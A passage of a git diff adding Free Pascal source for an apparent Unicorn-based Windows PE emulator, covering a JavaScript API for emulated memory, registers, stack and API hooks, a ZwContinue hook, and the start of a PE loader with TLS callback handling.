ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Libname : AnsiString; + JSvalue : PBESENValue; +begin + ResultValue := BESENNumberValue(0); // Default value = 0 .. + if CountArguments = 1 then + begin + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtSTRING then + Libname := Trim(JSStringToStr(JSvalue^)) + else + raise EBESENError.Create('GetModuleHandle Arg must be String !!!'); + + ResultValue := BESENNumberValue(Utils.GetModulehandle(Libname)); + end + else + ResultValue := BESENNumberValue(Emulator.Img.ImageBase); // Current PE ... +end; + +procedure TEmuObj.GetProcAddress(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Handle : UInt64; + FnName : AnsiString; + JSvalue : PBESENValue; +begin + ResultValue := BESENNumberValue(0); // Default value = 0 .. + if CountArguments <> 2 then + raise EBESENError.Create('GetProcAddr takes 2 Args Ex: Emu.GetProcAddr(handle,''MessageBoxA'')'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Handle := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('GetProcAddr First Arg must be Number !!!'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtSTRING then + FnName := Trim(JSStringToStr(JSvalue^)) + else + raise EBESENError.Create('GetProcAddr Second Arg must be String !!!'); + + // TODO: Add Search by Ordinal .. + + ResultValue := BESENNumberValue(GetProcAddr(Handle,FnName)); +end; + +procedure TEmuObj.WriteByte(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + value : byte; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteByte take 2 - Ex: WriteByte(Addr, 0x100)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteByte "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + value := byte(TBESEN(JS).ToInt(JSvalue^)) + else + raise EBESENError.Create('WriteByte "Second" Arg must be Number'); + + ResultValue := BESENBooleanValue(Utils.WriteByte(Addr,value)); +end; + +procedure TEmuObj.WriteWord(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + value : Word; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteWord take 2 - Ex: WriteWord(Addr, 0x100)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteWord "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + value := Word(TBESEN(JS).ToInt(JSvalue^)) + else + raise EBESENError.Create('WriteWord "Second" Arg must be Number'); + + ResultValue := BESENBooleanValue(Utils.WriteWord(Addr,value)); +end; + +procedure TEmuObj.WriteDword(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + value : Dword; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteDword take 2 - Ex: WriteDWord(Addr, 0x100)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteDword "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + value := Dword(TBESEN(JS).ToInt(JSvalue^)) + else + raise EBESENError.Create('WriteDword "Second" Arg must be Number'); + + ResultValue := BESENBooleanValue(Utils.WriteDword(Addr,value)); +end; + +procedure TEmuObj.WriteQword(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + value : Qword; + JSvalue : PBESENValue; +begin + if CountArguments <> 2 then + raise EBESENError.Create('WriteQword take 2 - Ex: WriteQword(Addr, 0x100)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteQword "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + value := Qword(TBESEN(JS).ToInt(JSvalue^)) + else + raise EBESENError.Create('WriteQword "Second" Arg must be Number'); + + ResultValue := BESENBooleanValue(Utils.WriteQword(Addr,value)); +end; + +procedure TEmuObj.WriteMem(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + val : Byte; + JSvalue : PBESENValue; + Element : TBESENValue; + i,len : Integer; +begin + ResultValue := BESENBooleanValue(False); + if CountArguments <> 2 then + raise EBESENError.Create('WriteMem take 2 - Ex: WriteMem(Addr, [0xC0,0xDE])'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('WriteMem "First" Arg must be Number'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtOBJECT then + begin + if TBESENObject(JSvalue.Obj) is TBESENObjectArray then + begin + Initialize(Element); + len := TBESENObjectArray(JSvalue.Obj).Len; + for i := 0 to Pred(len) do + begin + TBESENObjectArray(JSvalue.Obj).GetArrayIndex(i,Element); + if Element.ValueType = bvtNUMBER then + begin + val := TBESEN(JS).ToInt(Element); + if Utils.WriteByte(Addr+i,val) then + ResultValue := BESENBooleanValue(True) + else + Break; + end; + end; + end; + end + else + raise EBESENError.Create('WriteMem "Second" Arg must be Array'); +end; + +procedure TEmuObj.ReadByte(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + JSValue : PBESENValue; +begin + if CountArguments <> 1 then + raise EBESENError.Create('ReadByte take 1 arg - Ex: ReadByte(Addr : Number)'); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + Addr := TBESEN(JS).ToInt(JSValue^) + end; + else + raise EBESENError.Create('ReadByte take 1 arg - Ex: ReadByte(Addr : Number) - And Should Be Number'); + exit; + end; + ResultValue := BESENNumberValue(Utils.ReadByte(Addr)); +end; + +procedure TEmuObj.ReadWord(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + JSValue : PBESENValue; +begin + if CountArguments <> 1 then + raise EBESENError.Create('ReadWord take 1 arg - Ex: ReadWord(Addr : Number)'); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + Addr := TBESEN(JS).ToInt(JSValue^) + end; + else + raise EBESENError.Create('ReadWord take 1 arg - Ex: ReadWord(Addr : Number) - And Should Be Number'); + exit; + end; + ResultValue := BESENNumberValue(Utils.ReadWord(Addr)); +end; + +procedure TEmuObj.ReadDword(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + JSValue : PBESENValue; +begin + if CountArguments <> 1 then + raise EBESENError.Create('ReadDword take 1 arg - Ex: ReadDword(Addr : Number)'); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + Addr := TBESEN(JS).ToInt(JSValue^) + end; + else + raise EBESENError.Create('ReadDword take 1 arg - Ex: ReadDword(Addr : Number) - And Should Be Number'); + exit; + end; + ResultValue := BESENNumberValue(Utils.ReadDword(Addr)); +end; + +procedure TEmuObj.ReadQword(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + JSValue : PBESENValue; +begin + if CountArguments <> 1 then + raise EBESENError.Create('ReadQword take 1 arg - Ex: ReadQword(Addr : Number)'); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + Addr := TBESEN(JS).ToInt(JSValue^) + end; + else + raise EBESENError.Create('ReadQword take 1 arg - Ex: ReadQword(Addr : Number) - And Should Be Number'); + exit; + end; + ResultValue := BESENNumberValue(Utils.ReadQword(Addr)); +end; + +procedure TEmuObj.ReadMem(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +begin + // TODO . +end; + +procedure TEmuObj.push(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Value : UInt64; + JSValue : PBESENValue; +//========================= + procedure RaiseError(); + begin + raise EBESENError.Create('push take 1 arg - Ex: push(value : Number)'); + end; +begin + ResultValue := BESENBooleanValue(False); + if CountArguments <> 1 then + RaiseError(); + + JSValue := Arguments^[0]; + case JSValue^.ValueType of + bvtNUMBER: + begin + Value := TBESEN(JS).ToInt(JSValue^) + end; + else + RaiseError(); + exit; + end; + ResultValue := BESENBooleanValue(utils.push(Value)); +end; + +procedure TEmuObj.pop(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +begin + ResultValue := BESENNumberValue(utils.pop()); +end; + +procedure TEmuObj.Stop(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +begin + Emulator.Stop := true; +end; + +procedure TEmuObj.LastError(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Error : AnsiString; +begin + Error := uc_strerror(Emulator.err); + ResultValue := BESENStringValue(BESENUTF8ToUTF16(Error)); +end; + +procedure TEmuObj.HexDump(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + len : UInt32; + cols : byte; + tmp : Pointer; + JSvalue : PBESENValue; +begin + if CountArguments < 2 then + raise EBESENError.Create('HexDump take at least two args - Ex: HexDump(Addr, len, nCols)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('HexDump "First" Arg must be Number - Ex: HexDump(Addr, len, nCols)'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + len := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('HexDump "Second" Arg must be Number - Ex: HexDump(Addr, len, nCols)'); + + cols := 16; // the default . + if CountArguments = 3 then + begin + JSvalue := Arguments^[2]; + if JSvalue^.ValueType = bvtNUMBER then + cols := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('HexDump "Third" Arg must be Number - Ex: HexDump(Addr, len, nCols)'); + end; + + + if len > 0 then + begin + tmp := AllocMem(len); + if tmp <> nil then + begin + Emulator.err := uc_mem_read_(Emulator.uc,addr,tmp,len); + Utils.HexDump(tmp,len,addr,cols); + Freemem(tmp,len); + end; + end + else + raise EBESENError.Create('Dump! - 0 Really! :D'); + + ResultValue.ValueType := bvtUNDEFINED; +end; + +procedure TEmuObj.StackDump(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + Addr : UInt64; + len : UInt32; + JSvalue : PBESENValue; +begin + if CountArguments < 2 then + raise EBESENError.Create('StackDump takes two args - Ex: StackDump(Addr, len)'); + + JSvalue := Arguments^[0]; + if JSvalue^.ValueType = bvtNUMBER then + Addr := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('StackDump "First" Arg must be Number - Ex: StackDump(Addr, len)'); + + JSvalue := Arguments^[1]; + if JSvalue^.ValueType = bvtNUMBER then + len := TBESEN(JS).ToInt(JSvalue^) + else + raise EBESENError.Create('StackDump "Second" Arg must be Number - Ex: StackDump(Addr, len)'); + + if len > 0 then + Utils.DumpStack(addr,len) + else + Writeln('Len is 0 so not StackDump :D !'); + + ResultValue.ValueType := bvtUNDEFINED; +end; + +end. + diff --git a/Core/jsplugins_bengine.pas b/Core/jsplugins_bengine.pas new file mode 100644 index 0000000..d46c83f --- /dev/null +++ b/Core/jsplugins_bengine.pas @@ -0,0 +1,392 @@ +unit JSPlugins_BEngine; + +{$mode delphi} + +interface + +uses + Classes, + SysUtils, + {$I besenunits.inc}, + Crt; + +type + TBESENInstance = class; + + { TNewHook } + + TNewHook = class(TBESENNativeObject) + private + FOnEnter : TBESENObjectFunction; + FOnExit : TBESENObjectFunction; + Fargs : TBESENObjectArray; + protected + procedure ConstructObject(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer); override; + public + destructor Destroy; override; + published + procedure install(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + property OnCallBack : TBESENObjectFunction read FOnEnter write FOnEnter; + property OnExit : TBESENObjectFunction read FOnExit write FOnExit; + property args : TBESENObjectArray read Fargs write Fargs; + end; + + { TBESENInstance } + + TBESENInstance = class(TBESEN) + private + procedure NativeImportScripts(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + public + ShuttingDown: Boolean; + constructor Create(); + destructor Destroy; override; + procedure LoadPlugin(filename : AnsiString); + procedure InitJSEmu(); + end; + + + { TLogSystem } + + TLogSystem = class + public + // Prints text in command line + procedure log(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + procedure info(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + procedure warn(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + procedure error(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); + end; + + +function JSStringToStr(JSString : TBESENValue) : AnsiString; + +implementation + uses + Globals,JSEmuObj,FnHook,Emu,PE_Loader; + +var + LogSystem : TLogSystem; + JSCmulator : TEmuObj; + +function JSStringToStr(JSString : TBESENValue) : AnsiString; +begin + Result := BESENEncodeString(BESENUTF16ToUTF8(TBESEN(JS).ToStr(JSString)),UTF_8,BESENLocaleCharset); +end; + +{ TScriptSystem } +procedure Print(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue; color : Integer); +var i:integer; + v:PBESENValue; + fOutput:widestring; + procedure writeit(s:widestring); + begin + fOutput:=fOutput+s; + end; +begin + fOutput:=''; + AResult.ValueType:=bvtUNDEFINED; + for i:=0 to CountArguments-1 do begin + v:=Arguments^[i]; + case v^.ValueType of + bvtUNDEFINED:begin + writeit('undefined'); + end; + bvtNULL:begin + writeit('null'); + end; + bvtBOOLEAN:begin + if v^.Bool then begin + writeit('true'); + end else begin + writeit('false'); + end; + end; + bvtNUMBER:begin + writeit(BESENFloatToStr(v^.Num)); + end; + bvtSTRING:begin + writeit(v^.Str); + end; + bvtOBJECT:begin + writeit(TBESEN(JS).ToStr(v^)); + end; + bvtREFERENCE:begin + writeit('reference'); + end; + end; + end; + + if Emulator.RunOnDll then Exit; + + if color >= 0 then + TextColor(color); + writeln(BESENEncodeString(BESENUTF16ToUTF8(fOutput),UTF_8,BESENLocaleCharset)); + NormVideo; +end; + +procedure TLogSystem.log(const ThisArgument:TBESENValue; + Arguments:PPBESENValues;CountArguments:integer; + var AResult:TBESENValue); +begin + Print(ThisArgument,Arguments,CountArguments,AResult,-1); +end; + +procedure TLogSystem.info(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var AResult : TBESENValue); +begin + Print(ThisArgument,Arguments,CountArguments,AResult,LightCyan); +end; + +procedure TLogSystem.warn(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var AResult : TBESENValue); +begin + Print(ThisArgument,Arguments,CountArguments,AResult,Yellow); +end; + +procedure TLogSystem.error(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var AResult : TBESENValue); +begin + Print(ThisArgument,Arguments,CountArguments,AResult,LightRed); +end; + +{ TBESENInstance } + +procedure TBESENInstance.NativeImportScripts(const ThisArgument: TBESENValue; + Arguments: PPBESENValues; CountArguments: integer; + var ResultValue: TBESENValue); +var + i: Integer; + filename : ansistring; +begin + resultValue := BESENUndefinedValue; + for i:=0 to CountArguments-1 do + begin + filename := IncludeTrailingPathDelimiter(ExtractFileDir(JSAPI)) + BESENUTF16ToUTF8(ToStr(Arguments^[i]^)); + + if Verbose then + Writeln('loading JS Hook Module : ',filename); + + if FileExists(filename) then + begin + try + Execute(BESENGetFileContent(filename)); + except + on e: EBESENError do + begin + WriteLn(Format('%s ( %s | Line %d ): %s', [e.Name, Filename, TBESEN(self).LineNumber, e.Message])); + halt(-1); + end; + + on e: exception do + begin + WriteLn(Format('%s ( %s | Line %d ): %s', ['Exception', Filename, TBESEN(self).LineNumber, e.Message])); + halt(-1); + end; + end; + end + else + begin + Writeln(filename,' not found !'); + halt(0); + end; + end; +end; + +constructor TBESENInstance.Create(); +begin + inherited Create(COMPAT_JS); + ShuttingDown:=False; + Self.InjectObject('console',{$ifndef BESENSingleStringType}BESENUTF16ToUTF8({$endif}BESENObjectConsoleSource{$ifndef BESENSingleStringType}){$endif}); + + RegisterNativeObject('ApiHook', TNewHook); + + //FSystemObject:=TBESENSystemObject.Create(Self, Site); + //GarbageCollector.Protect(FSystemObject); + //ObjectGlobal.put('Process', BESENObjectValue(FSystemObject), false); + + LogSystem := TLogSystem.Create; + JSCmulator := TEmuObj.Create; + + + ObjectGlobal.RegisterNativeFunction('print', LogSystem.log, 1, []); + ObjectGlobal.RegisterNativeFunction('log', LogSystem.log, 1, []); + ObjectGlobal.RegisterNativeFunction('info', LogSystem.info, 1, []); + ObjectGlobal.RegisterNativeFunction('warn', LogSystem.warn, 1, []); + ObjectGlobal.RegisterNativeFunction('error', LogSystem.error, 1, []); + + ObjectGlobal.RegisterNativeFunction('importScripts',NativeImportScripts,0,[]); +end; + +destructor TBESENInstance.Destroy; +begin + ShuttingDown:=True; + inherited Destroy; +end; + +procedure TBESENInstance.LoadPlugin(filename : AnsiString); +begin + if FileExists(filename) then + begin + Writeln('[+] Loading JS Main Script : ', JSAPI); + try + Execute(BESENGetFileContent(filename)); + except + on e: EBESENError do + begin + WriteLn(Format('%s ( %s | Line %d ): %s', [e.Name, Filename, TBESEN(self).LineNumber, e.Message])); + halt(12); + end; + on e: exception do + begin + WriteLn(Format('%s ( %s | Line %d ): %s', ['Exception', Filename, TBESEN(self).LineNumber, e.Message])); + halt(13); + end; + end; + end + else + begin + Writeln('API.js not found !'); + halt(0); + end; + Writeln(); +end; + +procedure TBESENInstance.InitJSEmu(); +begin + + JSEmu:=TBESENObject.Create(Self,TBESEN(Self).ObjectPrototype,false); + TBESEN(Self).GarbageCollector.Add(JSEmu); + // Register As Gloval Object - maybe i'll do soon . + //TBESEN(Self).ObjectGlobal.OverwriteData('Cmu',BESENObjectValue(JSEmu),[bopaCONFIGURABLE]); + JSEmu.OverwriteData('isx64',BESENBooleanValue(Emulator.PE_x64),[bopaCONFIGURABLE]); + JSEmu.OverwriteData('ImageBase',BESENNumberValue(Emulator.img.ImageBase),[bopaCONFIGURABLE]); + JSEmu.OverwriteData('TEB',BESENNumberValue(Emulator.TEB),[bopaCONFIGURABLE]); + + + { Modules } + JSEmu.RegisterNativeFunction('LoadLibrary',JSCmulator.LoadLibrary,1,[]); + JSEmu.RegisterNativeFunction('GetModuleName',JSCmulator.GetModuleName,1,[]); + JSEmu.RegisterNativeFunction('GetModuleHandle',JSCmulator.GetModuleHandle,1,[]); + JSEmu.RegisterNativeFunction('GetProcAddr',JSCmulator.GetProcAddress,2,[]); + + { Registers } + JSEmu.RegisterNativeFunction('ReadReg',JSCmulator.ReadReg,1,[]); + JSEmu.RegisterNativeFunction('SetReg',JSCmulator.SetReg,2,[]); + + { Strings } + JSEmu.RegisterNativeFunction('ReadStringA',JSCmulator.ReadStringA,2,[]); + JSEmu.RegisterNativeFunction('ReadStringW',JSCmulator.ReadStringW,2,[]); + JSEmu.RegisterNativeFunction('WriteStringA',JSCmulator.WriteStringA,2,[]); + JSEmu.RegisterNativeFunction('WriteStringW',JSCmulator.WriteStringW,2,[]); + + { memory } + JSEmu.RegisterNativeFunction('WriteByte' ,JSCmulator.WriteByte,2,[]); + JSEmu.RegisterNativeFunction('WriteWord' ,JSCmulator.WriteWord,2,[]); + JSEmu.RegisterNativeFunction('WriteDword',JSCmulator.WriteDword,2,[]); + JSEmu.RegisterNativeFunction('WriteQword',JSCmulator.WriteQword,2,[]); + JSEmu.RegisterNativeFunction('WriteMem' ,JSCmulator.WriteMem,2,[]); + + JSEmu.RegisterNativeFunction('ReadByte',JSCmulator.ReadByte(),2,[]); + JSEmu.RegisterNativeFunction('ReadWord',JSCmulator.ReadWord,2,[]); + JSEmu.RegisterNativeFunction('ReadDword',JSCmulator.ReadDword,2,[]); + JSEmu.RegisterNativeFunction('ReadQword',JSCmulator.ReadQword,2,[]); + + // TODO: Result = Array of bytes. + JSEmu.RegisterNativeFunction('ReadMem' ,JSCmulator.ReadMem,1,[]); + + + { Stack } + JSEmu.RegisterNativeFunction('push',JSCmulator.push,1,[]); + JSEmu.RegisterNativeFunction('pop',JSCmulator.pop,0,[]); + + { hmmmmm } + JSEmu.RegisterNativeFunction('Stop',JSCmulator.Stop,0,[]); + JSEmu.RegisterNativeFunction('LastError',JSCmulator.LastError,0,[]); + + { good stuff } + JSEmu.RegisterNativeFunction('HexDump',JSCmulator.HexDump,3,[]); + JSEmu.RegisterNativeFunction('StackDump',JSCmulator.StackDump,2,[]); + + + Self.GarbageCollector.Protect(TBESENObject(JSEmu)); +end; + + +{ TNewHook } +procedure TNewHook.ConstructObject(const ThisArgument: TBESENValue; + Arguments: PPBESENValues; CountArguments: integer); +begin + args := TBESENObjectArray.Create(Self.Instance); + inherited ConstructObject(ThisArgument,Arguments,CountArguments); +end; + +destructor TNewHook.Destroy; +begin + if Assigned(self.OnCallBack) then + TBESEN(Instance).GarbageCollector.Unprotect(self.OnCallBack); + inherited Destroy; +end; + +procedure TNewHook.install(const ThisArgument : TBESENValue; + Arguments : PPBESENValues; CountArguments : integer; + var ResultValue : TBESENValue); +var + API : TLibFunction; + ExLib : TNewDll; + Ordinal : UInt32; + lib,name : AnsiString; + value : PBESENValue; + isOrdinal , API_OK : boolean; +begin + lib := ''; name := ''; + + ResultValue := BESENBooleanValue(False); + + if CountArguments <= 0 then + raise EBESENError.Create('install expect args (libname,ApiName) or (libname,Ordinal) or (Address {not implemented yet})'); + + isOrdinal := False; API_OK := False; + + if CountArguments = 2 then + begin + value := Arguments^[1]; + case value^.ValueType of + bvtSTRING : + begin + lib := JSStringToStr(Arguments^[0]^); + name := Trim(JSStringToStr(value^)); + end; + bvtNUMBER: + begin + isOrdinal := true; + lib := JSStringToStr(Arguments^[0]^); + Ordinal := TBESEN(Instance).ToInt(value^) + end; + else + raise EBESENError.Create('install expect args (libname, ApiName : string) or (libname : string; Ordinal : Number)'); + exit; + end; + end; + + if Assigned(self.OnCallBack) and (lib <> '') then + begin + TBESEN(Instance).GarbageCollector.Protect(self.OnCallBack); + + if isOrdinal then + Emulator.Hooks.ByOrdinal.AddOrSetValue(Ordinal,THookFunction.Create( + lib,name,Ordinal,isOrdinal,nil,Self + )) + else + Emulator.Hooks.ByName.AddOrSetValue(name,THookFunction.Create( + lib,name,Ordinal,isOrdinal,nil,Self + )); + + ResultValue := BESENBooleanValue(True); + end; +end; + + +end. + diff --git a/Core/memmanager.pas b/Core/memmanager.pas new file mode 100644 index 0000000..d8181de --- /dev/null +++ b/Core/memmanager.pas @@ -0,0 +1,22 @@ +unit MemManager; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, + Globals,LazUTF8, + Generics.Collections; + +// TODO: this class will handle all Memory in the PE . +// like Alloc new Memory or Free one .. etc . +type + TMemoryManager = Class + + end; + +implementation + +end. + diff --git a/Core/nativehooks.pas b/Core/nativehooks.pas new file mode 100644 index 0000000..a99db81 --- /dev/null +++ b/Core/nativehooks.pas @@ -0,0 +1,77 @@ +unit NativeHooks; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, Crt ,JSEmuObj,FnHook,Emu,math, + Unicorn_dyn , UnicornConst, X86Const; + + +procedure InstallNativeHooks(); + +implementation + uses + Globals,Utils,TEP_PEB; + +function ZwContinue( uc : uc_engine; Address , ret : UInt64 ) : Boolean; stdcall; +var + ExceptionRec : UInt64 = 0; + Context : UInt64 = 0; + ExceptionRecord : EXCEPTION_RECORD_32; + ContextRecord : CONTEXT_32; +begin + + ExceptionRec := pop(); + pop(); // Old ESP .. + Context := pop(); + + Initialize(ExceptionRecord); + FillByte(ExceptionRecord,SizeOf(ExceptionRecord),0); + Initialize(ContextRecord); + FillByte(ContextRecord,SizeOf(ContextRecord),0); + + Emulator.err := uc_mem_read_(uc,ExceptionRec,@ExceptionRecord,SizeOf(ExceptionRecord)); + + Emulator.err := uc_mem_read_(uc,Context,@ContextRecord,SizeOf(ContextRecord)); + if Emulator.err <> UC_ERR_OK then + begin + TextColor(LightRed); + Writeln('ZwContinue : Error While Reading ContextRecord'); + NormVideo; + halt(0); + end; + + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RBP,UC_X86_REG_EBP),@ContextRecord.Ebp); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@ContextRecord.Esp); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RIP,UC_X86_REG_EIP),@ContextRecord.Eip); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RDI,UC_X86_REG_EDI),@ContextRecord.Edi); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSI,UC_X86_REG_ESI),@ContextRecord.Esi); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RBX,UC_X86_REG_EBX),@ContextRecord.Ebx); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RDX,UC_X86_REG_EDX),@ContextRecord.Edx); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RCX,UC_X86_REG_ECX),@ContextRecord.Ecx); + uc_reg_write(uc,ifthen(Emulator.PE_x64,UC_X86_REG_RAX,UC_X86_REG_EAX),@ContextRecord.Eax); + + Emulator.Flags.FLAGS := ContextRecord.EFlags; + reg_write_x64(uc,UC_X86_REG_EFLAGS,Emulator.Flags.FLAGS); + + if VerboseExcp then + begin + TextColor(LightMagenta); + Writeln(Format('ZwContinue -> Context = 0x%x',[Context])); + NormVideo; + end; + + Result := True; +end; + +procedure InstallNativeHooks(); +begin + Emulator.Hooks.ByName.AddOrSetValue('ZwContinue',THookFunction.Create( + 'ntdll','ZwContinue',0,False,@ZwContinue,nil)); + +end; + +end. + diff --git a/Core/pe_loader.pas b/Core/pe_loader.pas new file mode 100644 index 0000000..ec7667c --- /dev/null +++ b/Core/pe_loader.pas @@ -0,0 +1,829 @@ +unit PE_Loader; + +{$mode delphi} + +interface + +uses + Classes, SysUtils, strutils, + FileUtil, LazUTF8, Crt, + Unicorn_dyn, UnicornConst, X86Const, + Utils, FnHook, + Generics.Collections, + PE.Common, // using TRVA . + PE.Image, + PE.Section, + PE.Imports.Lib, // using TPEImportLibrary . + PE.Imports.Func, // using TPEImportFunction . + PE.Types.Directories, + PE.Types.Relocations, + PE.ExportSym, +//-------------------------------------------// + PseFile, + PsePeFile, + PseImportTable; + +function MapPE(Img: TPEImage; Path : string) : TMemoryStream; +procedure HookImports(uc : uc_engine; Img: TPEImage); +procedure HookImports_Pse(uc : uc_engine; Img : TPEImage; FilePath : string); +function load_sys_dll(uc : uc_engine; Dll : string) : boolean; +function MapToMemory(PE : TPEImage) : TMemoryStream; + +procedure InitTLS(uc : uc_engine; img : TPEImage); + +procedure Init_dlls(); + +implementation + uses + Globals; + + +procedure InitTLS(uc : uc_engine; img : TPEImage); +var + r_esp : UInt64; + CallBack : TRVA; +begin + if img.TLS.CallbackRVAs.Count = 0 then Exit; + + Writeln(); + TextColor(LightBlue); + Writeln(Format('[*] Init %d TLS Callbacks',[img.TLS.CallbackRVAs.Count])); + NormVideo; + + for CallBack in img.TLS.CallbackRVAs do + begin + + r_esp := ((Emulator.stack_base + Emulator.stack_size) - $100); // initial stack Pointer . + uc_reg_write(uc, UC_X86_REG_ESP, @r_esp); // + + //void __stdcall TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) . + Utils.push(0); // lpReserved + Utils.push(1); // fdwReason + Utils.push(img.ImageBase); // HINST . + Utils.push($DEADC0DE); // our custom return address so we can stop the execution . + + if VerboseEx then + begin + Writeln(); + TextColor(LightMagenta); + Writeln(Format('Call TlsCallBack %s Entry : %x', + [ExtractFileName(img.FileName),img.ImageBase + img.EntryPointRVA])); + NormVideo; + end; + Emulator.ResetEFLAGS(); + uc_emu_start(uc,img.ImageBase + CallBack,0,0,0); + end; + TextColor(LightBlue); + Writeln('[√] Init TLS Callbacks done'); + NormVideo; + +end; + +{ TODO: implement apisetschema Forwarder.} +procedure FixDllImports(uc : uc_engine; var Img: TPEImage; DllBase : UInt64); +var + SysDll : TNewDll; + HookFn : TLibFunction; + Lib : TPEImportLibrary; + Fn : TPEImportFunction; + rva , FuncAddr : TRVA; + index : Integer; + err : uc_err; + ret : Pointer; + path : UnicodeString; + Dll : string; +begin + index := 0; ret := nil; FuncAddr := 0; + if VerboseEx then + begin + 